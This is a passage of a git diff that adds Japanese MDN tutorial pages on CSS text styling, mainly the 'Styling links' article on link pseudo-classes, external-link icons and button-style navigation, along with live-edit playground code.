与えられたフォントの可能な代替の伸縮バージョン間で切り替えます。</li> + <li>{{cssxref("text-underline-position")}}: <code>text-decoration-line</code> プロパティの <code>underline</code> 値を使用して設定された下線の位置を指定します。</li> + <li>{{cssxref("text-rendering")}}: テキストレンダリングの最適化を試します。</li> +</ul> + +<p>テキストのレイアウトスタイル</p> + +<ul> + <li>{{cssxref("text-indent")}}: テキスト内容の最初のラインの始まりの前にどれだけの水平スペースを残すべきかを指定します。</li> + <li>{{cssxref("text-overflow")}}: 表示されないオーバーフローしたコンテンツがユーザーに通知される方法を定義します。</li> + <li>{{cssxref("white-space")}}: 要素内の空白とそれに関連する改行の扱い方を定義します。</li> + <li>{{cssxref("word-break")}}: 単語内で改行するかどうかを指定します。</li> + <li>{{cssxref("direction")}}: テキストの方向を定義します（これは言語に依存します。 通常、テキストの内容に結び付けられているので、HTML にその部分を処理させる方が良いです）。</li> + <li>{{cssxref("hyphens")}}: サポートしている言語のハイフネーションをオンまたはオフにします。</li> + <li>{{cssxref("line-break")}}: アジア言語の改行を緩和または強化します。</li> + <li>{{cssxref("text-align-last")}}: ブロックの最後のラインまたは強制改行の直前のラインの配置方法を定義します。</li> + <li>{{cssxref("text-orientation")}}: ライン内での文字の向きを定義します。</li> + <li>{{cssxref("overflow-wrap")}}: オーバーフローを防ぐために、ブラウザーが単語内で改行できるかどうかを指定します。</li> + <li>{{cssxref("writing-mode")}}: テキストのラインを水平に配置するか垂直に配置するか、およびそれに続いてラインが流れる方向を定義します。</li> +</ul> + +<h2 id="Font_shorthand" name="Font_shorthand">フォントの一括指定</h2> + +<p>多くのフォントプロパティは、一括指定プロパティの {{cssxref("font")}} を介して設定することもできます。 これらは、{{cssxref("font-style")}}、{{cssxref("font-variant")}}、{{cssxref("font-weight")}}、{{cssxref("font-stretch")}}、{{cssxref("font-size")}}、{{cssxref("line-height")}}、{{cssxref("font-family")}} の順に書きます。</p> + +<p>これらすべてのプロパティのうち、<code>font</code> 一括指定プロパティを使用する場合に必要なのは、<code>font-size</code> と <code>font-family</code> のみです。</p> + +<p>{{cssxref("font-size")}} プロパティと {{cssxref("line-height")}} プロパティの間にスラッシュを入れる必要があります。</p> + +<p>完全な例は次のようになります。</p> + +<pre class="brush: css notranslate">font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;</pre> + +<h2 id="Active_learning_Playing_with_styling_text" name="Active_learning_Playing_with_styling_text">能動的学習: テキストの装飾で遊ぶ</h2> + +<p>この能動的学習セッションでは、具体的な演習はありません。 フォントやテキストのレイアウトのプロパティをいくつか試してみて、作成できるものを確認してください！ オフラインの HTML / CSS ファイルを使用してこれを行うか、下記のライブ編集可能な例にコードを入力することができます。</p> + +<p>間違えた場合は、<em>Reset</em> ボタンを使用していつでもリセットできます。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>HTML Input</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> + <p>Some sample text for your delight</p></textarea> + + <h2>CSS Input</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">p { + + }</textarea> + + <h2>Output</h2> + <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> + <div class="controls"> + <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> + </div> +</div> +</pre> + +<pre class="brush: js notranslate">var htmlInput = document.querySelector(".html-input"); +var cssInput = document.querySelector(".css-input"); +var reset = document.getElementById("reset"); +var htmlCode = htmlInput.value; +var cssCode = cssInput.value; +var output = document.querySelector(".output"); + +var styleElem = document.createElement('style'); +var headElem = document.querySelector('head'); +headElem.appendChild(styleElem); + +function drawOutput() { + output.innerHTML = htmlInput.value; + styleElem.textContent = cssInput.value; +} + +reset.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = cssCode; + drawOutput(); +}); + +htmlInput.addEventListener("input", drawOutput); +cssInput.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事のテキストで遊んで楽しんでくださいね！ 次の記事では、HTML リストの装飾について知っておくべきことをすべて説明します。</p> + +<p>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">基本的なテキストとフォントの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_lists">リストの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_links">リンクの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Web_fonts">ウェブフォント</a></li> + <li><a href="/ja/Learn/CSS/Styling_text/Typesetting_a_homepage">コミュニティスクールのホームページの組版</a></li> +</ul> diff --git a/files/ja/learn/css/styling_text/index.html b/files/ja/learn/css/styling_text/index.html new file mode 100644 index 0000000000..6bcfb0a722 --- /dev/null +++ b/files/ja/learn/css/styling_text/index.html @@ -0,0 +1,55 @@ +--- +title: テキストの装飾 +slug: Learn/CSS/Styling_text +tags: + - Beginner + - CSS + - CodingScripting + - Fonts + - Landing + - Links + - Module + - Text + - font + - letter + - line + - lists + - shadow + - web fonts +translation_of: Learn/CSS/Styling_text +--- +<div>{{LearnSidebar}}</div> + +<p class="summary"><span class="seoSummary">CSS 言語の基本を習得したら、次に取り組むべき CSS のトピックはテキストの装飾です — これは、CSS で行う最も一般的なことの一つです。 ここでは、フォント、太字、イタリック体、ラインと文字の間隔、ドロップシャドウやその他のテキスト機能の設定を含む、テキストの装飾の基本を見ていきます。あなたのページにカスタムフォントを適用し、リストとリンクを装飾するところを見ることによって、このモジュールを締めくくります。</span></p> + +<h2 id="Prerequisites" name="Prerequisites">前提知識</h2> + +<p>このモジュールを始める前に、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>のモジュールで説明したようにすでに HTML についての基本的な知識があり、<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>で説明したように CSS の基本に慣れている必要があります。</p> + +<div class="note"> +<p><strong>メモ</strong>: 自分のファイルを作成できないコンピューター/タブレット/その他の端末で作業している場合、<a href="http://jsbin.com/">JSBin</a>、<a href="https://codepen.io/">CodePen</a>、<a href="https://thimble.mozilla.org/">Thimble</a> のようなオンラインコーディングプログラムで (ほとんどの) サンプルコードを試せます。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<p>このモジュールには以下の記事が含まれていて、HTML のテキストコンテンツの装飾の背後にあるすべての重要事項を説明しています。</p> + +<dl> + <dt><a href="/docs/Learn/CSS/Styling_text/Fundamentals">基本的なテキストとフォントの装飾</a></dt> + <dd>この記事では、フォントの太さ、ファミリーとスタイル、フォントの一括指定、テキストの配置とその他のエフェクト、ラインと文字の間隔の設定など、テキストとフォントの装飾のすべての基本について詳しく説明します。</dd> + <dt><a href="/docs/Learn/CSS/Styling_text/Styling_lists">リストの装飾</a></dt> + <dd>リストは他のテキストとほとんど同じようにふるまいますが、知っておくべきリスト固有の CSS プロパティと、考慮すべきベストプラクティスがいくつかあります。この記事はすべてを説明しています。</dd> + <dt><a href="/docs/Learn/CSS/Styling_text/Styling_links">リンクの装飾</a></dt> + <dd>リンクを装飾するときは、擬似クラスを使用してリンク状態を効果的に装飾する方法と、ナビゲーションメニューやタブなどの一般的なさまざまなインターフェイス機能で使用するためのリンクの装飾方法を理解することが重要です。この記事では、これらすべてのトピックを見ていきます。</dd> + <dt><a href="/docs/Learn/CSS/Styling_text/Web_fonts">ウェブフォント</a></dt> + <dd>ここでは、ウェブフォントを詳しく探ります — これらを使用すると、ウェブページと一緒にカスタムフォントをダウンロードすることを可能にして、より多様でカスタムなテキストの装飾を可能にします。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">評価</h2> + +<p>以下の評価では、上記のガイドで説明されているテキストの装飾のテクニックについての理解をテストします。</p> + +<dl> + <dt><a href="/Learn/CSS/Styling_text/Typesetting_a_homepage">コミュニティスクールのホームページの組版</a></dt> + <dd>この評価では、コミュニティスクールのホームページのテキストを装飾してもらい、テキストの装飾についての理解をテストします。</dd> +</dl> diff --git a/files/ja/learn/css/styling_text/styling_links/index.html b/files/ja/learn/css/styling_text/styling_links/index.html new file mode 100644 index 0000000000..60588e794f --- /dev/null +++ b/files/ja/learn/css/styling_text/styling_links/index.html @@ -0,0 +1,453 @@ +--- +title: リンクの装飾 +slug: Learn/CSS/Styling_text/Styling_links +tags: + - Article + - Beginner + - CSS + - Focus + - Guide + - Learn + - Links + - Pseudo-class + - hover + - hyperlinks + - menus + - tabs +translation_of: Learn/CSS/Styling_text/Styling_links +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div> + +<p class="summary"><span class="seoSummary"><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">リンク</a>を装飾するときは、擬似クラスを使用してリンク状態を効果的に装飾する方法と、ナビゲーションメニューやタブなどの一般的なさまざまなインターフェイス機能で使用するためのリンクの装飾方法を理解することが重要です。 この記事では、これらすべてのトピックを見ていきます。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターリテラシー、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、CSS の基本（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）、<a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">CSS のテキストとフォントの基礎</a>。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>リンク状態を装飾する方法と、ナビゲーションメニューのような一般的な UI 機能でリンクを効果的に使用する方法を学ぶこと。</td> + </tr> + </tbody> +</table> + +<h2 id="Lets_look_at_some_links" name="Let's_look_at_some_links">いくつかのリンクを見てみましょう</h2> + +<p><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクの作成</a>のベストプラクティスに従って、HTML がリンクをどのように実装するかを調べました。 この記事では、この知識を基にして、リンクの装飾のためのベストプラクティスを示します。</p> + +<h3 id="Link_states" name="Link_states">リンク状態</h3> + +<p>最初に理解するべきことはリンク状態の概念です。リンクが存在できる様々な状態のことで、それらは異なる<a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Pseudo-classes_and_pseudo-elements">疑似クラス</a>を使って装飾することができます。</p> + +<ul> + <li><strong>リンク（未訪問）</strong>: リンクが他のどの状態にもない場合に、リンクが属するデフォルトの状態。 これは、{{cssxref(":link")}} 疑似クラスを使用して特に装飾できます。</li> + <li><strong>訪問済み</strong>: 既に訪問済み（ブラウザーの履歴に存在する）のリンクで、{{cssxref(":visited")}} 擬似クラスを使用して装飾します。</li> + <li><strong>ホバー</strong>: リンクにユーザーのマウスポインタが合わせられているときのリンクで、{{cssxref(":hover")}} 疑似クラスを使用して装飾します。</li> + <li><strong>フォーカス</strong>: フォーカスしたときのリンク（例えば、<kbd>Tab</kbd> キーなどを使用してキーボードユーザーによって移動してきたか、{{domxref("HTMLElement.focus()")}} を使用してプログラムでフォーカスした） — これは {{cssxref(":focus")}} 擬似クラスを使用して装飾します。</li> + <li><strong>アクティブ</strong>: アクティブ化している（例えばクリックされている）ときのリンクで、{{cssxref(":active")}} 疑似クラスを使用して装飾します。</li> +</ul> + +<h3 id="Default_styles" name="Default_styles">デフォルトの装飾</h3> + +<p>次の例は、リンクがデフォルトでどのようにふるまうかを示しています（CSS は、テキストをより見やすくするために、単にテキストを拡大して中央に配置しています）。</p> + +<pre class="brush: html notranslate"><p><a href="#">A simple link</a></p> +</pre> + +<pre class="brush: css notranslate">p { + font-size: 2rem; + text-align: center; +}</pre> + +<p>{{ EmbedLiveSample('Default_styles', '100%', 120) }}</p> + +<div class="note"> +<p><strong>注</strong>: このページの例にあるリンクはすべて偽のリンクです — <code>#</code>（ハッシュまたはポンド記号）が実際の URL の代わりに配置されています。 これは、実際のリンクが含まれている場合、それらをクリックすると例が壊れる可能性があるためです（エラーが発生したり、ロードしたページから埋め込まれた例に戻ることができません）。 <code>#</code> は現在のページにリンクしているだけです。</p> +</div> + +<p>デフォルトの装飾を調べていくうちに、次のようないくつかのことに気付くでしょう。</p> + +<ul> + <li>リンクには下線が引かれています。</li> + <li>未訪問のリンクは青です。</li> + <li>訪問済みのリンクは紫色です。</li> + <li>リンクにホバーすると、マウスポインタが小さな手のアイコンに変わります。</li> + <li>フォーカスのあるリンクの周囲にはアウトラインがあります — <kbd>Tab</kbd> キーを押すと、キーボードでこのページのリンクにフォーカスを合わせることができます（Mac では、これが機能する前に <kbd>Ctrl</kbd> + <kbd>F7</kbd> を押して<em>フルキーボードアクセス: すべてのコントロール</em>オプションを有効にする必要があるかもしれません）。</li> + <li>アクティブなリンクは赤です（リンクをクリックしながらマウスボタンを押したままにしてみてください）。</li> +</ul> + +<p>興味深いことに、これらのデフォルトの装飾は、1990年代半ばのブラウザーの初期の頃のものとほぼ同じです。 これは、ユーザーがこのふるまいを知っており、予期するようになったためです — リンクの装飾が異なると、多くの人が混乱してしまうでしょう。 これは、リンクの装飾を設定してはいけないという意味ではなく、予想されるふるまいから大きく外れてはいけないということです。 少なくとも次のことをするべきです。</p> + +<ul> + <li>リンクには下線を使用しますが、他のものには使用しません。 リンクに下線を付けたくない場合は、少なくとも他の方法でリンクをハイライトしてください。</li> + <li>ホバー/フォーカスしたときに何らかの方法で反応するようにし、アクティブ化したときには少し異なる方法で反応するようにします。</li> +</ul> + +<p>デフォルトの装飾は、次の CSS プロパティを使用してオフにしたり変更したりできます。</p> + +<ul> + <li>テキストの色は {{cssxref("color")}} です。</li> + <li>マウスポインタのスタイルは {{cssxref("cursor")}} です — 非常に良い理由がない限り、これをオフにしないでください。</li> + <li>テキストのアウトラインは {{cssxref("outline")}} です（アウトラインは境界線に似ていますが、唯一の違いは、境界線はボックス内のスペースを占めますが、アウトラインは占めずに背景の上にあるだけだということです）。 このアウトラインは、アクセシビリティを向上させるのに役立つので、オフにする前に慎重に検討してください。 フォーカス状態でリンクホバー状態に与えられた装飾を少なくとも2倍にするべきです。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: リンクの装飾は上記のプロパティに制限されているわけではありません — 好きなプロパティを自由に使用できます。 夢中になりすぎないようにしてください！</p> +</div> + +<h3 id="Styling_some_links" name="Styling_some_links">いくつかのリンクを装飾する</h3> + +<p>デフォルトの状態を少し詳しく見てきたので、典型的なリンクの装飾のセットを見てみましょう。</p> + +<p>まず始めに、空の規則セットを書き出します。</p> + +<pre class="brush: css notranslate">a { + +} + + +a:link { + +} + +a:visited { + +} + +a:focus { + +} + +a:hover { + +} + +a:active { + +}</pre> + +<p>リンクのスタイルは互いに重なっているため、この順序は重要です。 例えば、最初の規則の装飾は、それ以降のすべての規則に適用され、リンクがアクティブになっているときは、ホバーもしています。 これらを間違った順序で並べると、物事は適切に機能しません。 順番を覚えておくには、<strong>L</strong>o<strong>V</strong>e <strong>F</strong>ears <strong>HA</strong>te のようなニーモニックを使用してみてください。</p> + +<p>それでは、これを適切に装飾するための情報を追加しましょう。</p> + +<pre class="brush: css notranslate">body { + width: 300px; + margin: 0 auto; + font-size: 1.2rem; + font-family: sans-serif; +} + +p { + line-height: 1.4; +} + +a { + outline: none; + text-decoration: none; + padding: 2px 1px 0; +} + +a:link { + color: #265301; +} + +a:visited { + color: #437A16; +} + +a:focus { + border-bottom: 1px solid; + background: #BAE498; +} + +a:hover { + border-bottom: 1px solid; + background: #CDFEAA; +} + +a:active { + background: #265301; + color: #CDFEAA; +}</pre> + +<p>CSS を適用するためのサンプル HTML も提供します。</p> + +<pre class="brush: html notranslate"><p>There are several browsers available, such as <a href="#">Mozilla +Firefox</a>, <a href="#">Google Chrome</a>, and +<a href="#">Microsoft Edge</a>.</p></pre> + +<p>2つをまとめると、この結果が得られます。</p> + +<p>{{ EmbedLiveSample('Styling_some_links', '100%', 150) }}</p> + +<p>それでは、ここで何をしたでしょうか？ これは確かにデフォルトの装飾とは異なるように見えますが、それでもユーザーに何が起こっているのかを知るための十分な身近な経験を提供します。</p> + +<ul> + <li>最初の2つの規則は、この説明にとってそれほど興味深いものではありません。</li> + <li>3番目の規則は <code>a</code> セレクタを使ってデフォルトのテキストのアンダーラインとフォーカスのアウトライン（とにかくブラウザーによって異なります）を取り除き、各リンクに少量のパディングを追加します — これらすべては後で明らかになります。</li> + <li>次に、<code>a:link</code> セレクタと <code>a:visited</code> セレクタを使用して、未訪問リンクと訪問済みリンクに2つのカラーバリエーションを設定して区別します。</li> + <li>次の2つの規則では、<code>a:focus</code> と <code>a:hover</code> を使用して、フォーカスされたリンクとホバーされたリンクを異なる背景色に設定し、さらにリンクを目立たせるために下線を使用します。 ここで注意すべき2つの点があります。 + <ul> + <li>下線は {{cssxref("text-decoration")}} ではなく、 {{cssxref("border-bottom")}} を使用して作成されています — 前者よりも後者の方が装飾オプションが優れていて、少し下に描かれるので下線が引かれている単語のディセンダ（例えば、g と y で x より下に出ている部分）を横切ることがないため、一部の人々はこれを好みます。</li> + <li>{{cssxref("border-bottom")}} の値は、色を指定せずに <code>1px solid</code> として設定しています。 こうすると、境界線は要素のテキストと同じ色になります。 これは、テキストがそれぞれ異なる色であるような場合に役立ちます。</li> + </ul> + </li> + <li>最後に、<code>a:active</code> は、リンクがアクティブになっている間に反転配色を与えるために使用され、重要なことが起こっていることを明確にします！</li> +</ul> + +<h3 id="Active_learning_Style_your_own_links" name="Active_learning_Style_your_own_links">能動的学習: あなた自身のリンクを装飾する</h3> + +<p>この能動的学習セッションでは、空の規則のセットにあなた自身の宣言を追加してリンクを本当にかっこよく見せてください。 想像力を駆使して、ワイルドに。 上記の例と同じように、よりかっこよく機能的なものを思いつくことができると確信しています。</p> + +<p>間違えた場合は、<em>Reset</em> ボタンを使用していつでもリセットできます。 本当に立ち往生してしまったら、上に示した例を挿入するために <em>Show solution</em> ボタンを押してください。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>HTML Input</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><p>There are several browsers available, such as <a href="#">Mozilla + Firefox</a>, <a href="#">Google Chrome</a>, and +<a href="#">Microsoft Edge</a>.</p></textarea> + + <h2>CSS Input</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">a { + +} + +a:link { + +} + +a:visited { + +} + +a:focus { + +} + +a:hover { + +} + +a:active { + +}</textarea> + + <h2>Output</h2> + <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> + <div class="controls"> + <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> + <input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;"> + </div> +</div> +</pre> + +<pre class="brush: js notranslate">var htmlInput = document.querySelector(".html-input"); +var cssInput = document.querySelector(".css-input"); +var reset = document.getElementById("reset"); +var htmlCode = htmlInput.value; +var cssCode = cssInput.value; +var output = document.querySelector(".output"); +var solution = document.getElementById("solution"); + +var styleElem = document.createElement('style'); +var headElem = document.querySelector('head'); +headElem.appendChild(styleElem); + +function drawOutput() { + output.innerHTML = htmlInput.value; + styleElem.textContent = cssInput.value; +} + +reset.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = cssCode; + drawOutput(); +}); + +solution.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = 'p {\n font-size: 1.2rem;\n font-family: sans-serif;\n line-height: 1.4;\n}\n\na {\n outline: none;\n text-decoration: none;\n padding: 2px 1px 0;\n}\n\na:link {\n color: #265301;\n}\n\na:visited {\n color: #437A16;\n}\n\na:focus {\n border-bottom: 1px solid;\n background: #BAE498;\n}\n\na:hover {\n border-bottom: 1px solid;\n background: #CDFEAA;\n}\n\na:active {\n background: #265301;\n color: #CDFEAA;\n}'; + drawOutput(); +}); + +htmlInput.addEventListener("input", drawOutput); +cssInput.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> + +<h2 id="Including_icons_on_links" name="Including_icons_on_links">リンクにアイコンを含める</h2> + +<p>一般的なやり方は、リンクがどの種類のコンテンツを指しているかに関するより多くの標識を提供するためにリンクにアイコンを含めることです。 外部リンク（他のサイトにつながるリンク）にアイコンを追加する、本当に簡単な例を見てみましょう。 このようなアイコンは、通常、ボックスから出る小さな矢印のように見えます — この例では、<a href="https://icons8.jp/icon/741/external-link">icons8.com からの素晴らしい例</a>を使います。</p> + +<p>欲しい効果が得られる HTML と CSS を見てみましょう。 まず、装飾する簡単な HTML です。</p> + +<pre class="brush: html notranslate"><p>For more information on the weather, visit our <a href="#">weather page</a>, +look at <a href="http://#">weather on Wikipedia</a>, or check +out <a href="http://#">weather on Extreme Science</a>.</p></pre> + +<p>次に、CSS です。</p> + +<pre class="brush: css notranslate">body { + width: 300px; + margin: 0 auto; + font-family: sans-serif; +} + +p { + line-height: 1.4; +} + +a { + outline: none; + text-decoration: none; + padding: 2px 1px 0; +} + +a:link { + color: blue; +} + +a:visited { + color: purple; +} + +a:focus, a:hover { + border-bottom: 1px solid; +} + +a:active { + color: red; +} + +a[href*="http"] { + background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0; + background-size: 16px 16px; + padding-right: 19px; +}</pre> + +<p>{{ EmbedLiveSample('Including_icons_on_links', '100%', 150) }}</p> + +<p>それでは、ここで何が起こっているのでしょうか？ これまで見てきたのと同じ情報なので、CSS の大部分はスキップします。 しかし最後の規則は興味深いです — ここでは前回の記事の<a href="/ja/docs/Learn/CSS/Styling_text/Styling_lists#Using_a_custom_bullet_image">リストアイテムのカスタム行頭記号</a>を処理したのと同じ方法で外部リンクにカスタム背景画像を挿入しています — 今回は個々のプロパティの代わりに {{cssxref("background")}} の一括指定を使用します。 挿入したい画像へのパスを設定し、<code>no-repeat</code> を指定してコピーを1つだけ挿入するようにしてから、テキストコンテンツの右側へ 100%、上から 0 ピクセルの位置を指定します。</p> + +<p>また、{{cssxref("background-size")}} を使用して、背景画像を表示するサイズを指定します。 レスポンシブウェブデザインの目的に合わせて、アイコンを大きくしておいて、このようにサイズを変更すると便利です。 ただし、これは IE 9 以降でのみ機能するため、これらの古いブラウザーをサポートする必要がある場合は、画像のサイズを変更しておいて、それをそのまま挿入する必要があります。</p> + +<p>最後に、背景画像を表示するスペースを確保するためにリンクに {{cssxref("padding-right")}} を設定しているので、テキストと重なっていません。</p> + +<p>最後の一言 — どのように外部リンクだけを選択したのでしょうか？ あなたが<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">HTML リンク</a>を適切に記述しているのなら、外部リンクには絶対 URL のみを使用しているはずです — 自分のサイトの他の部分にリンクするには（最初のリンクのように）相対リンクを使用するほうが効率的です。 したがって、テキスト "http" は（2番目と3番目のリンクのように）外部リンクにのみ現れ、これを<a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">属性セレクタ</a>で選択できます。 <code>a[href*="http"]</code> は {{htmlelement("a")}} 要素を選択しますが、"http" を含む値を持つ {{htmlattrxref("href","a")}} 属性がある場合に限ります。</p> + +<p>それでは、これで全部です — 上の能動的学習セクションを再検討して、この新しいテクニックを試してみてください！</p> + +<div class="note"> +<p><strong>注</strong>: <a href="/ja/docs/Learn/CSS/Styling_boxes">背景</a>や<a href="/ja/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">レスポンシブウェブデザイン</a>にまだ慣れていなくても心配しないでください。 これらは他の場所で説明されています。</p> +</div> + +<h2 id="Styling_links_as_buttons" name="Styling_links_as_buttons">ボタンとしてのリンクの装飾</h2> + +<p>この記事でこれまでに説明したツールは、他の方法でも使用できます。 例えば、ホバーのような状態は、リンクだけでなく、さまざまな要素を装飾するために使用できます — 段落、リスト項目、またはその他のもののホバー状態を装飾することができます。</p> + +<p>さらに、リンクは特定の状況下ではボタンのように見えて、そうふるまうように装飾されているのが普通です — ウェブサイトのナビゲーションメニューは通常リンクを含むリストとしてマークアップれており、ユーザーがサイトの他の部分にアクセスできるようにする一連のコントロールボタンやタブのように簡単にスタイル設定できます。 その方法を探りましょう。</p> + +<p>まず、いくつかの HTML です。</p> + +<pre class="brush: html notranslate"><ul> + <li><a href="#">Home</a></li><li><a href="#">Pizza</a></li><li><a href="#">Music</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland</a></li> +</ul></pre> + +<p>そして CSS です。</p> + +<pre class="brush: css notranslate">body,html { + margin: 0; + font-family: sans-serif; +} + +ul { + padding: 0; + width: 100%; +} + +li { + display: inline; +} + +a { + outline: none; + text-decoration: none; + display: inline-block; + width: 19.5%; + margin-right: 0.625%; + text-align: center; + line-height: 3; + color: black; +} + +li:last-child a { + margin-right: 0; +} + +a:link, a:visited, a:focus { + background: yellow; +} + +a:hover { + background: orange; +} + +a:active { + background: red; + color: white; +}</pre> + +<p>これにより、次のような結果が得られます。</p> + +<p>{{ EmbedLiveSample('Styling_links_as_buttons', '100%', 100) }}</p> + +<p>最も興味深い部分に焦点を当てて、ここで何が起こっているのかを説明しましょう。</p> + +<ul> + <li>2番目の規則は、{{htmlelement("ul")}} 要素からデフォルトの {{cssxref("padding")}} を削除し、その幅を外側のコンテナ（この場合は {{htmlelement("body")}}）の 100% になるように設定します。</li> + <li>{{htmlelement("li")}} 要素は通常デフォルトでブロックです（復習のために <a href="/ja/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">CSS ボックスの種類</a>を参照してください）。 つまり、要素はそれぞれ自身のラインに配置されます。 この場合、水平方向のリンクのリストを作成しているので、3番目の規則で {{cssxref("display")}} プロパティを <code>inline</code> に設定します。 これにより、リスト項目は互いに同じラインに配置されます — それらはインライン要素のようにふるまいます。</li> + <li>{{htmlelement("a")}} 要素を装飾する4番目の規則は、ここで最も複雑です。 ステップバイステップで進みましょう。 + <ul> + <li>前の例と同様に、デフォルトの {{cssxref("text-decoration")}} と {{cssxref("outline")}} をオフにすることから始めます — 見た目を損なうものは欲しくありません。</li> + <li>次に、{{cssxref("display")}} を <code>inline-block</code> に設定します — {{htmlelement("a")}} 要素はデフォルトではインラインですが、ブロックのように、要素を自身のラインからこぼさずに、サイズを変更できるようにしたいのです。 <code>inline-block</code> はこれを可能にします。</li> + <li>これからサイズを設定します！ {{htmlelement("ul")}} の全幅を埋め、各ボタンの間には少しマージンを残して（ただし、右端には隙間はありません）、5つのボタンを配置します。 それらはすべて同じサイズでなければなりません。 これを行うには、{{cssxref("width")}} を 19.5% に設定し、{{cssxref("margin-right")}} を 0.625% に設定します。この幅の合計が 100.625% になることに気付くでしょう。 これは最後のボタンが <code><ul></code> をオーバーフローさせ、次のラインに落ちることになります。 ただし、次の規則を使用してリストの最後の <code><a></code> のみを選択し、そこからマージンを削除して、100% に戻します。 これで完了です！</li> + <li>最後の3つの宣言は非常に単純で、主に見た目を目的としています。 各リンク内のテキストを中央揃えにし、ボタンの高さ設定するために {{cssxref("line-height")}} を 3 に設定し（テキストを垂直方向に中央揃えする利点もあります）、テキストの色を黒に設定します。</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>注</strong>: HTML 内のリスト項目がすべて一行に記述されていることに気付いたかもしれません。インラインブロック要素間のスペースや改行は、単語間のスペースと同様にページにスペースを作成します。 そして、そのようなスペースは水平ナビゲーションメニューのレイアウトを壊すでしょう。だからスペースを取り除きました。この問題（と、その解決方法）についての詳細は、<a href="https://css-tricks.com/fighting-the-space-between-inline-block-elements/">インラインブロック要素間のスペースの戦い</a>（英語）で見つけることができます。</p> +</div> + +<h2 id="Summary" name="Summary">あなたのスキルをテストしてみてください!</h2> + +<p>あなたはこの記事の最後に到達し、すでに私たちのアクティブラーニングのセクションでいくつかのスキルテストを行いましたが、今後の最も重要な情報を覚えていますか？この情報を保持しているかどうかを確認するためのアセスメントがモジュールの最後にあります。<a href="/ja/docs/Learn/CSS/Styling_text/Typesetting_a_homepage">コミュニティスクールのホームページの組版</a>を参照してください。</p> + +<p>この評価ではこのモジュールで説明されているすべての知識をテストしますので、次に進む前に次の記事を読んだほうがいいかもしれません。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事が、リンクについて知っておく必要があるすべての情報を提供してくれることを願っています — 今のところは！ テキストの装飾モジュールの最後の記事では、ウェブサイトでのカスタムフォントの使用方法や、ウェブフォントの使用方法について詳しく説明しています。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">基本的なテキストとフォントの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_lists">リストの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_links">リンクの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Web_fonts">ウェブフォント</a></li> + <li><a 